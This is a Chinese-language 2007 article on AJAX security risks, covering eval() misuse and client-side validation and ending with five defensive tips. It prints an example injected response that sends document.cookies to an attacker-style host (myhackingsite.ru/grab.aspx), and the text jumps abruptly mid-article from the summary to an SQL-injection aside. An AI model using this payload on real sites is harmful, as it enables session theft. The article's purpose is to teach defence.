谈谈AJAX的安全性及AJAX安全隐患

http://tech.ddvip.com   2007年06月23日    社区交流

内容摘要:AJAX经常是和DHTML(Dynamic HTML)一起协作的,它的顺利执行需要允许网页中的JavaScript代码和web服务器在后台无缝通讯。比方说,当你开始在Google Suggest的搜索框中输入东西时,web页面就和服务器在后台开始交换数据,然后会给出一些你可能需要的词条等。所有的这一切都不需要页面刷新或者按下任何按钮。同样这也就是像Gmail那样的应用程序怎么能对实时拼写检查做的那么好的原因。

  就会让我登录后具有系统管理员的权限。当然,如何取得那些表名(table)和字段名已经超出了本文讨论的范围,但是你已经了解这种情况了,不是吗?

  8.客户端验证:我们已经知道在刚才的Google Suggest例子中,通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证(如果这样的话在客户端很难保证可靠性和流畅性),客户端将仅仅简单执行服务器需要它完成的事情。

  这样的话,由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的(也就是说你不能够“查看源文件”),于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱(这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中),这种攻击将很难被发现。

  Max使用下面的响应在目的地网页上更新天气图标,他是用的函数是eval();函数:

  updateWeatherIcon('cloudy.gif');

  然而,恶意的cracker能够把这个函数变成下面的形式,这样要发现这种攻击就更加困难了:

  updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies);   updateWeatherIcon('cloudy.gif');

  我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。

  小结

  毫无疑问,AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”,使用AJAX必须小心谨慎,这样才能够保证web站点的安全。

  然而,最大的威胁之一,来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外,使测试很不直观;同时,这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失,它们变得更多更复杂了。

  5个最重要的AJAX安全提示:

  为了取得成功,你必须从好的计划开始。必须集中你的才智减少和简化AJAX调用,创建一个标准的响应格式,在任何地方都要遵循这个协定(理想的XML)。

  遵循来自像开放万维网应用安全计划那样的站点的最优方法。这里面特别包含了访问控制和输入校验漏洞检查,同时确保敏感信息使用over SSL胜过使用普通文本。

  永远不要假设服务器端AJAX对于访问控制或者用户输入校验检查能够代替在服务器上的最终再检查。增加AJAX控制永远不会减少你的验证工作量,它们只能增加你的工作量。

  永远不要假设客户端的混淆技术(obfuscation,在这里指使JavaScript难于阅读和解码)能够保护你非常重要的商业秘密。使用JavaScript是隐藏程序设计最没用的一种手段,还能够为你的对手提供好处。

  最后,你必须非常好的领导你的开发团队。使用AJAX听起来非常引人注目,但是你应该认识到要保留你的开发团队以便开发版本2,当然现在你应该开发非常稳定的版本1。

责编:豆豆技术应用

正在加载评论...